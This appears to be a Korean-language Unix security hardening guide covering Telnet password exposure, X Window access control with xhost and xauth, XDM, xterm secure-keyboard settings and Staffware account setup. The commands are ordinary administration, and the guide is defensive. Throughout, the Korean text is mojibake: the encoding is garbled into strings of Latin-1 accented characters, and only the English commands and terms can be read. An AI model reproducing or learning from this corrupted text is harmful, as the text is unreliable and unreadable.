¿¡¹Ä·¹ÀÌÅʹ ȣ½ºÆ® ±â¹ÝÀÇ µ¥ÀÌŸ¿¡ Á¢±ÙÇÒ ¶§ ÇÊ¿äÇÏ´Ù. º¸¾È °üÁ¡¿¡¼ º¼ ¶§ À̰ÍÀÇ Àǹ̴Â:
- »ç¿ëÀÚµéÀº ¸ÞÀÎÇÁ·¹ÀÓ È£½ºÆ®¿¡ Á¢±ÙÇϱâ À§ÇØ »ç¿ëÀÚÀ̸§°ú ÆÐ½º¿öµå¸¦ ÀÔ·ÂÇØ¾ß ÇÑ´Ù. ÀÌ ÆÐ½º¿öµåµéÀº Telnet ÇÁ·ÎÅäÄÝÀÇ »ç¿ëÀ¸·Î ÀÎÇØ ³×Æ®¿÷À» clear text ·Î ´Ù´Ï°Ô µÈ´Ù (È£½ºÆ® º¸¾È ÀúÇÏ).
- È£½ºÆ®¿Í PC °£ Æ®·¯½ºÆ®°¡ ÇÊ¿ä ¾ø´Ù (È£½ºÆ® º¸¾È °³¼±).
- »ç¿ëÀÚµéÀÌ ´ÙÁß °èÁ¤°ú ÆÐ½º¿öµå¸¦ °¡Áö¹Ç·Î, ¾îµð¼³ª µ¿ÀÏÇÑ ÆÐ½º¿öµå¸¦ »ç¿ëÇÒ ¼öµµ ÀÖ°í, Àû¾î ³õÀ» ¼öµµ ÀÖ°í ¶Ç´Â ÃßÃøÇϱ⠽¬¿î ÆÐ½º¿öµå¸¦ »ç¿ëÇÒ ¼öµµ ÀÖ´Ù (º¸¾È ÀúÇÏ).
¾ÏȣȵÇÁö ¾ÊÀº »óÅ·Π³×Æ®¿÷À» µ¹¾Æ´Ù´Ï´Â ·Î±×ÀÎ À̸§/ÆÐ½º¿öµå´Â ³×Æ®¿÷»ó¿¡ "½º´ÏÆÛ" ¸¦ µ¹¸®°í ÀÖ´Â Á÷¿øÀ̳ª °Ç¹° °£ Àü¿ëȸ¼± (³×Æ®¿÷ Àý ÂüÁ¶) À» "µè°í ÀÖ´Â (listening)" ¿ÜºÎ ÇØÄ¿¿¡ ÀÇÇØ "º¸ÀÏ" ¼ö ÀÖ´Ù. ÀÌ´Â Telnet ÇÁ·ÎÅäÄÝÀÇ Ãë¾à¼º¿¡ ±âÀÎÇÑ´Ù. ÀÌ ÇÁ·ÎÅäÄÝ¿¡ ´ëÇÑ µ¶ÀÚÀûÀÎ º¸¾È È®Àåµµ ÀÖÁö¸¸ (¾ÆÁ÷) ³Î¸® äÅÃµÈ °ÍÀº ¾ø´Ù.
X À©µµ¿ì
µµÀÔ
X À©µµ¿ì ½Ã½ºÅÛÀº ¸Å¿ì À¯¿¬Çϰí, Ç¥ÁØÈµÇ¾î ÀÖÁö¸¸, Á¾Á¾ ¾ÈÀüÇÏÁö ¸øÇÑ ±×·¡ÇÈ »ç¿ëÀÚ ÀÎÅÍÆäÀ̽º (GUI)°¡ À¯´Ð½º ½Ã½ºÅÛ, PC, NT ±×¸®°í ½ÉÁö¾î VAX ¿¡¼µµ »ç¿ë°¡´ÉÇÏ´Ù.X À©µµ¿ì´Â MIT ¿¡¼ (°ø°³ µµ¸ÞÀÎÀ¸·Î) °³¹ßµÇ¾úÀ¸¸ç, Ŭ¶óÀ̾ðÆ®/¼¹ö ±â¹ÝÀÇ ¾ÆÅ°ÅØÃĸ¦ °¡Áö°í ÀÖ´Ù. óÀ½À¸·Î ±¤¹üÀ§ÇÏ°Ô Ã¤ÅÃµÈ X À©µµ¿ì ¹öÀüÀº ¹öÀü 11, ¸±¸®Áî 3 À̾ú´Ù. À̰ÍÀº X11R4 ·Î ¾Ë·ÁÁ® ÀÖ´Ù.?? ÇöÀç ¹öÀüÀº X11R6 ÀÌ´Ù. X11À̶ó´Â ¸»ÀÌ Á¾Á¾ X À©µµ¿ì ½Ã½ºÅÛ ´ë½Å »ç¿ëµÈ´Ù. MITÀÇ X11Àº Á¾Á¾ Vanilla X ·Î ºÒ¸®¿ö, ¼ö¸¹Àº »ó¾÷¿ë ¹öÀüµé°ú ±¸º°µÈ´Ù.
X Ŭ¶óÀÌ¾ðÆ® ´Â ÇÁ·Î±×·¥ ¶Ç´Â application À̰í X ¼¹ö ´Â ȸé°ú À©µµ¿ì¸¦ Á¦¾îÇÏ´Â ¼ÒÇÁÆ®¿þ¾îÀÌ´Ù. ÀÌ (Á» Çò°¥¸®´Â) ¸í¸í °ü½ÀÀº Á¾Á¾ X ¼¹ö°¡ »ç¿ëÀÚÀÇ ·ÎÄà ½Ã½ºÅÛ¿¡¼ µ¹¾Æ°¡°í Ŭ¶óÀÌ¾ðÆ®°¡ ¼¹ö¿¡¼ µ¹¾Æ°£´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù! X ¼¹ö¿Í X Ŭ¶óÀÌ¾ðÆ®´Â X ÇÁ·ÎÅäÄÝ À» ÅëÇØ Åë½ÅÇÑ´Ù. X ÇÁ·ÎÅäÄÝÀº ·ÎÄà ½Ã½ºÅÛ¿¡¼¸¸ ¿î¿µµÉ ¼ö ÀÖ´Ù (Ŭ¶óÀÌ¾ðÆ®¿Í ¼¹ö°¡ ·ÎÄÃÀ϶§), ¶Ç´Â ³×Æ®¿÷À» °¡·ÎÁú·¯ ¿î¿µµÉ ¼ö ÀÖ´Ù ( Ŭ¶óÀÌ¾ðÆ®¿Í ¼¹ö°¡ À§¿Í °°ÀÌ ºÐ¸®µÇ¾úÀ» ¶§). X Å͹̳ΠÀº ȸé, Űº¸µå, ¸¶¿ì½º¿¡´Ù, X Å͹̳ÎÀÌ XŬ¶óÀÌ¾ðÆ®¿¡°Ô »ç¿ë °¡´ÉÇϵµ·Ï ¸¸µå´Â, ÅëÁ¦ X ¼¹ö ¼ÒÇÁÆ®¿þ¾î°¡ °°ÀÌ ÀÖ´Â °ÍÀÌ´Ù.
¸¹Àº Ŭ¶óÀÌ¾ðÆ®µéÀÌ ÇϳªÀÇ ¼¹ö »ó¿¡¼ ¿î¿µµÉ ¼ö ÀÖ´Ù. ÀÌ Å¬¶óÀÌ¾ðÆ®µéÀº ³×Æ®¿÷ »óÀÇ ¸ðµç ½Ã½ºÅÛÀ¸·ÎºÎÅÍ ¿Â´Ù. Ŭ¶óÀÌ¾ðÆ®°£ Åë½Å°ú Á¢±Ù ÅëÁ¦ (¾î¶² Ŭ¶óÀÌ¾ðÆ®°¡ ¾î¶² ¼¹ö¿¡¼ ½ÃÀÛÇÒ ¼ö Àִ°¡) °¡ Á¦¾îµÇ¾î¾ß ÇÑ´Ù. ÇÑ Å¬¶óÀÌ¾ðÆ®°¡ ´Ù¸¥ Ŭ¶óÀÌ¾ðÆ®¿¡°Ô Á¤º¸¸¦ º¸³¾ ¼ö ÀÖ´Ù¸é, ´Ù¸¥ Ŭ¶óÀÌ¾ðÆ®¿¡°Ô·Î °¡´Â Á¤º¸¸¦ ȹµæÇÒ ¼ö ÀÖ´Ù¸é, ¶Ç´Â ´Ù¸¥ Ŭ¶óÀÌ¾ðÆ®·Î °¡´Â Á¤º¸¸¦ ¼ÓÀÏ(spoof) ¼ö ÀÖ´Ù¸é º¸¾ÈÀÌ Ä§ÇØµÉ ¼ö ÀÖ´Ù.
ÀüÇüÀûÀΠŬ¶óÀÌ¾ðÆ®°£ Åë½Å¿¡´Â ´ÙÀ½ÀÌ Æ÷ÇԵȴÙ:
- X Å͹̳Π¼³Á¤ º¯°æ: ÆùÆ®, »ö±ò, Űº¸µå ¸ÅÇÎ ¹× ¸¶¿ì½º ¹Î°¨µµ
- X À̺¥Æ®: ۰¡ ´·ÁÁ³´Ù, ¸¶¿ì½º°¡ ¿òÁ÷¿´´Ù, µîµî..
- X µ¥ÀÌŸ: ±Û¾¾¾²±â/À̹ÌÁö/À©µµ¿ì µî ȸéÀÇ º¯È.
¾ÇÀÇÀûÀΠŬ¶óÀÌ¾ðÆ®µéÀº ±×·¯ÇÑ Åë½ÅÀ» »èÁ¦/º¯°æ ¶Ç´Â ´ëüÇÏ·Á°í ÇÒ ¼ö ÀÖ´Ù.
ÀϹÝÀûÀÎ ±Ç°í»çÇ×
- xhost ¶Ç´Â Â÷¶ó¸® xauth ¸ÞÄ«´ÏÁòÀ» »ç¿ëÇÏ¿© (¾Æ·¡ ÂüÁ¶) µð½ºÇ÷¹ÀÌ Á¢±ÙÀ» Á¦ÇÑÇÑ´Ù.
- ¸¸¾à rlogin & telnet ´ë½Å SSH¸¦ »ç¿ëÇϸé, X Àΰ¡¿Í ÇÔ²² ÀÚµ¿ÀûÀ¸·Î ¾ÏÈ£ÈµÈ X ¼¼¼ÇÀ» ¼³Á¤ÇÑ´Ù. µû¶ó¼ xauth ³ª xhosts ÀÎÁõÀÌ ÇÊ¿äÇÏÁö ¾Ê´Ù. Ãßõ.
- ´ÙÁß »ç¿ëÀÚ ½Ã½ºÅÛ¿¡¼´Â /tmp ¿¡ sticky bit ÀÌ ¹Ýµå½Ã ¼³Á¤µÇµµ·Ï ÇÑ´Ù.
°¢ »ç¿ëÀÚ¸¶´Ù (ÀбâÀü¿ë) ÄÜ¼Ö À©µµ¿ì¸¦ Á¤ÀÇÇÑ´Ù, e.g. contool·Î.
¹æÄ¡µÈ ȸéÀ» Â÷´ÜÇϱâ À§ÇØ screenlock À̳ª xlock ¸¦ »ç¿ëÇÑ´Ù. ¹Ýµå½Ã ÆÐ½º¿öµå¸¦ ¿ä±¸Çϵµ·Ï ÇÑ´Ù.
¾ÈÀüÇÑ xtermÀ» ¼³Ä¡ÇÑ´Ù.
Ç¥ÁØ X À©µµ¿ì ½Ã½ºÅÛÀ» »ç¿ëÇÏÁö ¾Ê´Â´Ù. ¸¹Àº À¯´Ð½º ±âÁ¾µéÀÌ "Trusted X11" À̶ó´Â X11 ¹öÀüÀ» °¡Áö°í Àִµ¥ À̰ÍÀº »ç¿ëÇØµµ µÈ´Ù.
X11¿¡´Â µÎ°¡Áö ÁÖ¿ä Á¢±ÙÅëÁ¦ ¸ÞÄ«´ÏÁòÀÌ ÀÖ´Ù: È£½ºÆ® ±â¹Ý (xhost) °ú ÅäÅ« ±â¹Ý (xauth). Xhost °¡ °¡Àå °£´ÜÇÏÁö¸¸ °¡Àå ¾àÇÑ ¸ÞÄ«´ÏÁòÀÌ´Ù.
xhost
°¢ X ¼¹ö´Â Á¢±ÙÀÌ Çã¿ëµÇ´Â È£½ºÆ® ¸ñ·ÏÀ» À¯ÁöÇϰí ÀÖ´Ù: Áï ÀÌ È£½ºÆ®µé·ÎºÎÅÍÀÇ Å¬¶óÀÌ¾ðÆ®µéÀº X ¼¹ö¸¦ ÀÌ¿ëÇÏ¿© À©µµ¿ì¸¦ µð½ºÇ÷¹ÀÌ/Á¶ÀÛÇÒ ¼ö ÀÖ´Ù. xhost ¸í·É¾î´Â ÇâÈÄ ¸ðµç ¿¬°á¿¡ ´ëÇÑ È£½ºÆ® Á¢±Ù ÅëÁ¦ ¸ñ·Ï (ACL) À» °ü¸®Çϴµ¥ »ç¿ëµÈ´Ù . ±âÁ¸ ¿¬°áÀº ¿µÇâÀ» ¹ÞÁö ¾Ê´Â´Ù. ¸î°¡Áö ¿¹¸¦ µé¸é:
| xhost + |
¸ðµç È£½ºÆ®·ÎºÎÅÍÀÇ ¿¬°áÀ» Çã¿ë (±ÇÀåÇÏÁö ¾ÊÀ½!). ACL ÀÌ ÀÖ±ä ÀÖÁö¸¸ ¾Æ¹« È¿°úµµ ¾ø´Ù. |
| xhost +host1 |
·ÎÄà µµ¸ÞÀο¡ ÀÖ´Â host1À» ACL¿¡ Ãß°¡ÇÑ´Ù. |
| xhost +host1.mydomain |
(DNS) µµ¸ÞÀÎ mydomain ¿¡ ÀÖ´Â host1À» ACL¿¡ Ãß°¡. |
| xhost -host1 |
ACL ¿¡¼ host1 Á¦°Å. |
| xhost |
ÇöÀç ACL À» Ç¥½Ã. |
| xhost - |
ÇöÀç ACL¿¡ Á¢±ÙÀ» Á¦ÇÑ. xhost + °¡ ±×Àü¿¡ ¸ÕÀú »ç¿ëµÇÁö ¾Ê¾ÒÀ¸¸é À̰ÍÀº ¾Æ¹« È¿°úµµ ¾ø´Ù. xhost + °¡ ¸ÕÀú ½ÇÇàµÈ ÈĶó¸é, xhost + ¸í·É ÀüÀÇ ACL ÀÌ º¹¿øµÈ´Ù. Áß¿ä : xhost - ´Â ¾î¶² È£½ºÆ®µµ Á¢±ÙÇÒ ¼ö ¾ø´Ù´Â ¶æÀÌ ¾Æ´Ï´Ù! |
¾î¶² »ç¿ëÀÚ°¡ Àΰ¡µÇÁö ¾ÊÀº È£½ºÆ®·ÎºÎÅÍ ¼¹ö¿¡ ¿¬°áÇÏ·Á°í ½ÃµµÇÑ´Ù¸é (ÀÌ ¿¹Á¦¿¡¼´Â SERVER_NAME À̶ó°í ÇÔ), ´ÙÀ½ ¿¡·¯ ¸Þ½ÃÁö°¡ ¹ßÇàµÈ´Ù:
Xlib: connection to "SERVER_NAME:0.0" refused by server.
Xlib: Client is not authorised to connect to server.
xhost ¸ÞÄ«´ÏÁòÀº ¼øÀüÈ÷ È£½ºÆ® ±â¹ÝÀÌ´Ù, Áï ¾î¶² È£½ºÆ®°¡ Á¢±ÙÀ» Çã°¡¹Þ¾Ò´Ù¸é, ±× È£½ºÆ®ÀÇ ¸ðµç »ç¿ëÀÚµéÀº Á¢±ÙÀÌ Çã°¡µÈ´Ù. È£½ºÆ®´ç »ç¿ëÀÚ ÇϳªÀÇ ¿öÅ©½ºÅ×ÀÌ¼Ç È¯°æ¿¡¼´Â À̰ÍÀÌ ±×¸® ¹®Á¦°¡ µÇÁö ¾ÊÁö¸¸, ´ÙÁß »ç¿ëÀÚ ¼¹ö¿¡¼´Â ¿öÅ©½ºÅ×À̼ÇÀ¸·ÎÀÇ Á¢±ÙÀÌ Çã¿ëµÈ´Ù¸é Áß´ëÇÑ º¸¾È À§ÇèÀ» µå·¯³»´Â °ÍÀÌ´Ù.
- º¸¾È ·¹º§ÀÌ ÃÖ¼ÒÇÑ °°Àº È£½ºÆ®µé Áß ¿À·ÎÁö ¾Ë·ÁÁø ´ÜÀÏ»ç¿ëÀÚ È£½ºÆ®µé¸¸ xhost¸¦ ÅëÇØ ½Å·ÚµÇ¾î¾ß ÇÑ´Ù.
- Àý´ë xhost +, ´Â ¾²Áö ¸»°í, .xinitrc (¿¹¸¦ µé¸é) ¿¡ ÇÑ ÁÙÀ» Ãß°¡ÇÏ¿© ƯÁ¤ È£½ºÆ®¿¡ ´ëÇÑ µðÆúÆ® ACLÀ» »ý¼ºÇÑ´Ù.
E.g. xhost +host1 +host2 +host3 +host4
- xhost ¸ÞÄ«´ÏÁòÀÇ »ç¿ëÀº "´ÜÀÏ »ç¿ëÀÚ" ¿öÅ©½ºÅ×ÀÌ¼Çµé »çÀÌ¿¡¼¸¸ ±Ç°íµÈ´Ù.
- ´ÙÁß »ç¿ëÀÚ È£½ºÆ®µéÀº Á¢±ÙÀÌ Çã¿ëµÇ¾î¼´Â ¾ÈµÇ°í, xauth ¸ÞÄ«´ÏÁòÀÌ º¸´Ù ´õ ÀûÀýÇÏ´Ù. xhost °¡ xauthº¸´Ù ¿ì¼±¼øÀ§°¡ ³ô´Ù´Â °Í¿¡ À¯ÀÇÇÑ´Ù.
- ¾î¶² »ó¿ë X ¼¹öµéÀº µðÆúÆ®·Î Á¢±Ù ÅëÁ¦¸¦ disable ÇÑ´Ù! e.g. NCD, SGI...
- ACL À» ºñ¿ì·Á¸é, ½ºÅ©¸³Æ®°¡ ÇÊ¿äÇÏ´Ù (xhost - ´Â ACL À» ºñ¿ìÁö ¾Ê´Â´Ù), À̸¦Å׸é bourne shell ½ºÅ©¸³Æ®´Â:
for h in `xhost|awk '!/access/ {print $1}'`; do xhost -$h; done
xauth
ÅäÅ« ±â¹Ý ÀÎÁõ¿¡¼´Â, »ç¿ëÀÚÀÇ X11 ¼¼¼Ç¿¡ ÅäÅ« (ÀÌ °æ¿ì¿¡´Â ³¼ö)ÀÌ ºÎ¿©µÈ´Ù. X11¼¹ö¿¡ ¿¬°áÇϰíÀÚ ÇÏ´Â ¸ðµç Ŭ¶óÀÌ¾ðÆ®´Â ÀÌ ÅäÅ«À» °¡Áö°í ÀÖ¾î¾ß ÇÑ´Ù. ÀÌ ÅäÅ«Àº º¸Åë X ¼¼¼ÇÀ» ¼ÒÀ¯Çϰí ÀÖ´Â »ç¿ëÀÚ¸¸ÀÌ °¡Áú ¼ö ÀÖÀ¸¹Ç·Î, ÀÌ ÅäÅ«ÀÌ »ç¿ëÀÚ ±â¹ÝÀÇ Á¢±ÙÅëÁ¦ ¸ÞÄ«´ÏÁòÀ» Á¦°øÇÑ´Ù°í ÇÒ ¼ö ÀÖ´Ù. ÀÌ ÅäÅ«À» X11 ¿ë¾î·Î ¸ÅÁ÷ ÄíŰ ¶ó°í ÇÑ´Ù. ÇϳªÀÇ ½Ã½ºÅÛ¿¡¸¸ ·Î±×¿Â ÇÑ »ç¿ëÀÚ¿¡°Ô´Â, ´õÀÌ»óÀÇ º¸¾ÈÀº Åõ¸íÇÏ´Ù.
¸ÅÁ÷ ÄíŰ´Â »ç¿ëÀÚ È¨ µð·ºÅ丮ÀÇ .Xauthority ¿¡ ÀúÀåµÈ´Ù. xauth ÇÁ·Î±×·¥À» »ç¿ëÇÏ¿© ÀÌ Äí۸¦ Ãß°¡Çϰí ÀÐ°í »èÁ¦ÇÑ´Ù. Äí۸¦ ³ª¿ÇÏ·Á¸é, xauth list
¸¦ ¾²°í, ÀÎÁõ »óŸ¦ º¸·Á¸é xauth info ¸¦ »ç¿ëÇÑ´Ù. xauth ¸¸ Ä¡¸é ÇÁ·ÒÇÁÆ®°¡ ¶ß´Âµ¥, ¿©±â¼ ? ³ª help ¸¦ ÀÔ·ÂÇÏ¿© ¸í·É¾î ¸ñ·ÏÀ» º»´Ù.
ÄíŰ »ý¼º:
À̰ÍÀº Äí۸¦ ¸¸µå´Â Ç¥ÁØ ¸ÞÄ«´ÏÁòÀÌ ¾Æ´Ï´Ù! SunÀÇ OpenWindows ¿Í XDM (¾Æ·¡ÂüÁ¶)Àº ½ÃÀÛÇÒ ¶§ ÀÚµ¿À¸·Î ¸ÅÁ÷ Äí۸¦ ¸¸µé¾î ³»Áö¸¸, ´Ù¸¥ X11 ½Ã½ºÅ۵鿡¼´Â ¼öÀÛ¾÷À¸·Î Äí۸¦ »ý¼ºÇØ¾ß ÇÑ´Ù. ¸î°¡Áö ´Ù¸¥ ¹æ¹ýµéÀÌ °¡´ÉÇѵ¥, $HOST°¡ ·ÎÄà ȸéÀÇ À̸§À» ´ã°í ÀÖ´Ù¸é, xinit ¿¡ ´ÙÀ½À» »ç¿ëÇÒ ¼ö ÀÖ´Ù:
- korn shell ³¼ö ¹ß»ý±â »ç¿ë:
xauth add ${HOST}:0.¢¥ksh -c 'echo $(( $RANDOM*RANDOM*2 ))'¢¥
- Clock »ç¿ë:
xauth add ${HOST}:0.¢¥date +"%y%m%d%H%M%S"¢¥
³¼ö¿¡´Ù À§ÀÇ TCP/IP À̸§ ¿Ü¿¡µµ À¯´Ð½º PCÀ̸§µµ Ãß°¡ÇÑ´Ù:
xauth add ${HOST}/unix:0 . RAND_NUM
ÄíŰ ¹èÆ÷:
»ç¿ëÀÚ°¡ ¿ø°Ý È£½ºÆ®¿¡¼ Ŭ¶óÀÌ¾ðÆ®¸¦ ½ÃÀÛÇϰíÀÚ ÇÑ´Ù¸é, Àڱ⠷ÎÄà µð½ºÇ÷¹ÀÌ·ÎÀÇ Á¢±ÙÀ» ¾î¶»°Ô Çã¿ëÇÒ °ÍÀΰ¡? µÎ°¡Áö °¡´É¼ºÀ» »ý°¢ÇØ º¼ ¼ö ÀÖ´Ù:
- ¿ø°Ý°ú ·ÎÄà ȣ½ºÆ®°¡ ÀÌ »ç¿ëÀÚ¿¡ ´ëÇØ °°Àº Ȩ µð·ºÅ丮¸¦ ¸¶¿îÆ®ÇÏ¿©, »ç¿ëÀÚ°¡ ¾çÂÊ È£½ºÆ®¿¡¼ µ¿ÀÏÇÑ .Xauthority ÆÄÀÏ¿¡ Á¢±Ù, Á¢±Ù ÅëÁ¦°¡ ÀÚµ¿À¸·Î µÈ´Ù. (È®ÀÎ ¿ä¸Á!)
- Ȩ µð·ºÅ丮°¡ °øÀ¯µÇÁö ¾Ê´Â´Ù. ÀÌ °æ¿ì¿¡´Â ¿ø°Ý ½Ã½ºÅÛ¿¡ ÀÖ´Â .Xauthority ÆÄÀÏÀÌ µ¿±âȵǾî¾ß ÇÑ´Ù. .rhosts ÆÄÀÏÀÌ Á¸ÀçÇÑ´Ù¸é, ´ÙÀ½À» »ç¿ëÇÒ ¼ö ÀÖ´Ù.
auth extract - $DISPLAY | rsh REM_HOST xauth merge -
¶Ç´Â, X11R5 contrib Ŭ¶óÀ̾ðÆ®ÀÎ xrsh ¸¦ »ç¿ëÇÒ ¼ö ÀÖÀ¸¸é, ¿ø°Ý Ŭ¶óÀÌ¾ðÆ®´Â Á÷Á¢ ½ÃÀÛµÉ ¼ö ÀÖ´Ù:
xrsh -auth xauth REM_HOST xload
±Ç°í»çÇ×:
- .Xauthority ÆÄÀÏÀº »ç¿ëÇã°¡ -rw------- ¸¦ °¡Á®¾ß ÇÑ´Ù.
- Ȩ µð·ºÅ丮°¡ export µÇ¸é, ¸ðµÎ¿¡°Ô°¡ ¾Æ´Ñ Áö¸íµÈ È£½ºÆ®µé·Î¸¸ export ÇÑ´Ù.
¾Æ´Ï¸é .Xauthority ÆÄÀÏÀÌ X11 ¼¹ö¿¡ Á¢±ÙÇÏ´Â µ¥ ½±°Ô »ç¿ëµÉ ¼ö ÀÖ´Ù.
- xauth ¸ÞÄ«´ÏÁòÀº Ȩ µð·ºÅ丮°¡ °øÀ¯µÇÁö ¾ÊÀ¸¸é »ç¿ëÇϱⰡ ¾î·Æ´Ù.
- xauth °¡ »ç¿ëµÇ´Â °æ¿ì, xhost ¸ÞÄ«´ÏÁò¿¡ Ãß°¡ÀûÀ¸·Î »ç¿ëµÇ¾î¾ß ÇÑ´Ù.
Sun OpenWindows
Sunview ³ª OpenWindows ¾Æ·¡¿¡¼ selection_svc ÇÁ·Î¼¼½º¸¦ ½ÃÀÛÇÏÁö ¾Ê´Â´Ù.
Solaris 1: /etc/fbtabÀ» »ç¿ëÇÏ¿© ÇÁ·¹ÀÓ ¹öÆÛ¿Í ¿ÜºÎ ÀåÄ¡¸¦ º¸È£ÇÑ´Ù.
- OpenWindows ¿Í XView Á¡º¸ ÆÐÄ¡¸¦ ¼³Ä¡ÇÑ´Ù.
- OpenWindows 2.0: CIAC vulnerability B-11 À» ÂüÁ¶.
- SUN-DES-1: TBD
Common Desktop Environment (CDE)
À̰ÍÀº À¯´Ð½º µ¥½ºÅ©Å¾À» À§ÇÑ »õ·Î¿î Ç¥ÁØ À©µµ¿ì °ü¸®ÀÚ·Î, ÁÖ¿ä º¥´õµé¿¡ ÀÇÇØ Áö¿øµÈ´Ù. ±âº»ÀûÀ¸·Î HP OpenView ÀÇ ¸ð¾ç°ú SunÀÇ OpenLook Tooltalk ¿£Áø ¹× µ¥½ºÅ©Å¾ À¯Æ¿¸®Æ¼µéÀ» °¡Áö´Â Motif ÀÌ´Ù. ÇϺÎÀÇ À©µµ¿ì ½Ã½ºÅÛÀº X11R5 ³ª R6 ÀÌ´Ù.
X Display Manager (XDM)
XDMÀº GUI ·Î±×ÀÎ ½Ã½ºÅÛÀ¸·Î ¼·Î ´Ù¸¥ X ¼¹öµé·ÎÀÇ ·Î±×ÀÎÀ» °¡´ÉÇÏ°Ô ÇÑ´Ù.
- ÀÚ½ÅÀÇ xdm ÀÌ 1995³â 10¿ù ÀÌÀü °ÍÀ̸é, ¾÷±×·¹À̵å ÇÑ´Ù. CERT VB-95:08 ÂüÁ¶.
- XDM À¸·Î xauth ¸ÞÄ«´ÏÁòÀ» »ç¿ëÇÒ ¼ö ÀÖ°Ô ÇÏ·Á¸é, /usr/lib/X11/xdm/xdm-config (¶Ç´Â Sun¿¡¼ $OPENWINHOME/lib/xdm/xdm-config ) ¿¡¼ ´ÙÀ½À» ¼³Á¤ÇÑ´Ù. Solaris ¿¡¼´Â µðÆúÆ®°¡ enable ÀÌ´Ù.
DisplayManager*authorize: true
XDM Àº ½ÃÀÛÇÒ ¶§ ÀÚµ¿À¸·Î ¸ÅÁ÷ Äí۸¦ »ý¼ºÇÏ¿© .Xauthority ¿¡ º¹»çÇÑ´Ù.
TBD: xdm À¯ÇüÀÇ ·Î±×Àο¡ ´ëÇÑ ÀÎÁõ (-broadcast, -query, -indirect). ÁúÀÇ ¹æ¹ý ±Ç°í.
Xterm
°¡Àå Àß ¾Ë·ÁÁø X Ŭ¶óÀÌ¾ðÆ®´Â ¾Æ¸¶ Ç¥ÁØ Å͹̳Π¿¡¹Ä·¹À̼ÇÀÎ xterm ÀÌ´Ù. ÀÌ µµ±¸´Â º¸¾È ¿µ¿ª¿¡¼ ¸î°¡Áö °Á¡ & ¾àÁ¡ÀÌ ÀÖ´Ù. ¸ÕÀú, ´ÙÀ½ ¿É¼ÇÀ» resource ÆÄÀÏ¿¡¼ ¼³Á¤ÇØ¾ß ÇÑ´Ù:
xterm*allowSendEvents: False
À̰ÍÀº ÀÎÀ§ÀûÀÎ À̺¥Æ®µé (Áï ¸¶¿ì½º³ª Űº¸µå¿¡¼ ¹ß»ýµÇÁö ¾ÊÀº) À» ¹«½ÃÇϵµ·Ï ÇØÁØ´Ù. ÀÌ´Â spoofingÀ» ¹æÁöÇÏ´Â µ¥ µµ¿òÀÌ µÈ´Ù.
ÀÌÁ¦´Â X ¼¹ö¿¡ ÀÇÇØ ¿î¿µÁßÀÎ ¸ðµç X Ŭ¶óÀÌ¾ðÆ®µé °£¿¡ Űº¸µå°¡ °øÀ¯µÈ´Ù. X Ŭ¶óÀÌ¾ðÆ®°¡ Áß¿äÇÑ Á¤º¸¸¦ Àаí ÀÖ´Ù¸é (e.g. ÆÐ½º¿öµå), ´Ù¸¥ X Ŭ¶óÀÌ¾ðÆ®µéÀÌ Å°ÀÔ·ÂÀ» ÀÐÀ» ¼ö ¾øµµ·Ï È®½ÅÇÏ°í ½ÍÀ» °ÍÀÌ´Ù. Űº¸µå¸¦ ¿ÏÀüÈ÷ ÅëÁ¦Çϱâ À§ÇØ (´Ù¸¥ Ŭ¶óÀÌ¾ðÆ®°¡ ÀÔ·ÂÀ» ¹ÞÀ» ¼ö ¾ø°Ô), xterm Àº "Secure Keyboard" ¿É¼ÇÀ» Á¦°øÇϸç, ¸Þ´º¿¡ ÀÖ´Ù (CTRL + ¿ÞÂÊ ¸¶¿ì½º ¹öư). ÀÌ ¿É¼ÇÀº ´Ù½Ã ´Ù¸¥ À©µµ¿ì¿¡¼ ÀÛ¾÷ÇÏ·Á¸é ²¨Á®¾ß ÇÑ´Ù. À̶§¹®¿¡, À̰ÍÀº ±×´ÙÁö ½Ç¿ëÀûÀÌÁö´Â ¾Ê´Ù.
ÆÐÄ¡:
- X11R5 patch level 25 ¶Ç´Â ±× ÀÌÀü ¹öÀüÀÇ xtermÀº ·Î±ë ¿É¼Ç(-l)°ú ÇÔ²² ¾µ ¶§ Ãë¾àÁ¡À» °¡Áö°í ÀÖ´Ù.
ÀÛ¾÷ ÇÃ·Î¿ì °ü¸®ÀÚ (Workflow Managers)
Staffware V5
ÀϹÝ
Staffware ´Â º¹ÀâÇÑ °ü¸®Àû ·çƾµéÀÌ ÀÚµ¿ÈµÉ ¼ö ÀÖ°Ô ÇØÁÖ´Â ÀÛ¾÷ ÇÃ·Î¿ì °ü¸®ÀÚÀÌ´Ù.
Áß¿äÇÑ À̽´:
* Oracle °úÀÇ »óÈ£ÀÛ¿ë
* OLTP ¿¬°á ¼¼ºÎ»çÇ×, Staffware ¼¹öµé°£ÀÇ RPC Åë½Å
* Æ®·£Àè¼Ç ¹«°á¼º?
Ã¥ÀÓÃßÀû¼º
»ç¿ëÀÚ ½Äº° / Àΰ¡
- À¯´Ð½º ·Î±×ÀÎ º¸¾È: ¼³Ä¡¸¦ À§ÇØ ´ÙÀ½ »ç¿ëÀÚµéÀÌ Á¤ÀǵǾî¾ß ÇÑ´Ù:
- swadmin Àº Staffware °ü¸®ÀڷΠƯº°ÇÑ ±ÇÇÑÀ» °¡Áø´Ù.
- pro ´Â ºñ ´ëÈÇü »ç¿ëÀÚ·Î, Staffware ¹é±×¶ó¿îµå ÀÛ¾÷À» À§ÇÑ °ÍÀÌ´Ù. ÀÌ °èÁ¤Àº ¸·¾Æ³õ´Â´Ù.
- Staffware ¼¹ö´Â root ¾Æ·¡¼ µ¹¾Æ°£´Ù.
- ¸ðµç staffware »ç¿ëÀÚµéÀº À¯´Ð½º °èÁ¤µµ °¡Áö°í ÀÖ´Ù.
- Á¶Ä¡:
°¢ »ç¿ëÀÚ¿¡ ´ëÇØ umask ´Â 027·Î ¼³Á¤µÇ¾î, »ý¼ºµÇ´Â ¸ðµç ÆÄÀϵéÀÌ »ç¿ëÇã°¡ rwxr-x--- (±×·ìÀº Àбâ¿Í ½ÇÇà °¡´É) ¸¦ °¡Áöµµ·Ï ÇØ¾ß ÇÑ´Ù. ÀÌ °æ¿ì ±×·ìÀÌ ¹Ýµå½Ã ÀÖ¾î¾ß Çϰí Staffware ÆÄÀϵ鿡°Ô ºÎ¿©µÇ¾î¾ß ÇÑ´Ù.
°¢ »ç¿ëÀÚ¿¡ ´ëÇØ umask ¸¦ 077·Î ¼³Á¤, »ý¼ºµÇ´Â ¸ðµç ÆÄÀÏÀÌ »ç¿ëÇã°¡ rwx------ ¸¦ °¡Áöµµ·Ï ÇØ¾ß ÇÑ´Ù .
°¨»ç ÁõÀû
